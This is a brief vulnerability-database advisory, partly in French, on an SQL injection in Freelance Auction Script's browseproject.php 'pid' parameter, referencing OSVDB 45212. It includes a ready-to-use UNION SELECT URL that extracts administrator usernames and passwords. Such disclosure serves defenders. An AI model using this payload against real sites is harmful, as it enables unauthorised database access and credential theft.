 |
|
|
|
| Vulnerability details : |
| |
 |
|
Freelance Auction Script browseproject.php pid Parameter SQL Injection |
|
|
Fiche créée le 2008-05-16 02:35:23, dernière mise à jour le 2009-10-23 05:58:52
Freelance Auction Script contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'browseproject.php' script not properly sanitizing user-supplied input to the 'pid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.
http://[target]/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/*
|
| |
| |
| |
| External refs : |
| OSVDB 45212 |
| |
| |
| |
| |
|
|
|
|
| Free consultation (search) |
|
|
|
|
|
| |
|
|
|
